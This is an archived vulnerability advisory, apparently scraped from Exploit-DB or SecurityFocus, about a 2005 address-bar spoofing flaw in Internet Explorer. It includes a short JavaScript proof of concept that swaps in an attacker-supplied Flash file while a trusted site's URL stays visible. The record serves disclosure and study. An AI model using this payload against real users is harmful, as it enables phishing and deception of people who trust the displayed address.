Internet Explorer Address Bar Spoofing

vendor:

Internet Explorer

by:

SecurityFocus

7.5

CVSS

HIGH

Address Bar Spoofing

601

CWE

Product Name: Internet Explorer

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: N/A

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2005

Internet Explorer Address Bar Spoofing

Internet Explorer is prone to address-bar spoofing. An attacker can exploit this issue to display the URI of a trusted and known site in the address bar, while running an attacker-supplied Macromedia Flash application. This may aid in phishing-style attacks and possibly allow access to properties of the trusted domain.

Mitigation:

Ensure that users are aware of the risks of address bar spoofing and that they are not tricked into entering sensitive information into a spoofed address bar.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/17404/info

Internet Explorer is prone to address-bar spoofing.

An attacker can exploit this issue to display the URI of a trusted and known site in the address bar, while running an attacker-supplied Macromedia Flash application. This may aid in phishing-style attacks and possibly allow access to properties of the trusted domain.

<script language="javascript">
function pause(ms)
{
date = new Date();
var curDate = null;

do { var curDate = new Date(); }
while(curDate-date < ms);
}

function spoof () {
win = window.open('http://www.microsoft.com/','new')
pause (2000)
win = window.open('http://www.example.com/swfs/index.swf','new')
pause (2000)
win = window.open('http://www.microsoft.com/','new')

}
</script>
<a href="javascript: spoof()">Perform the test</a>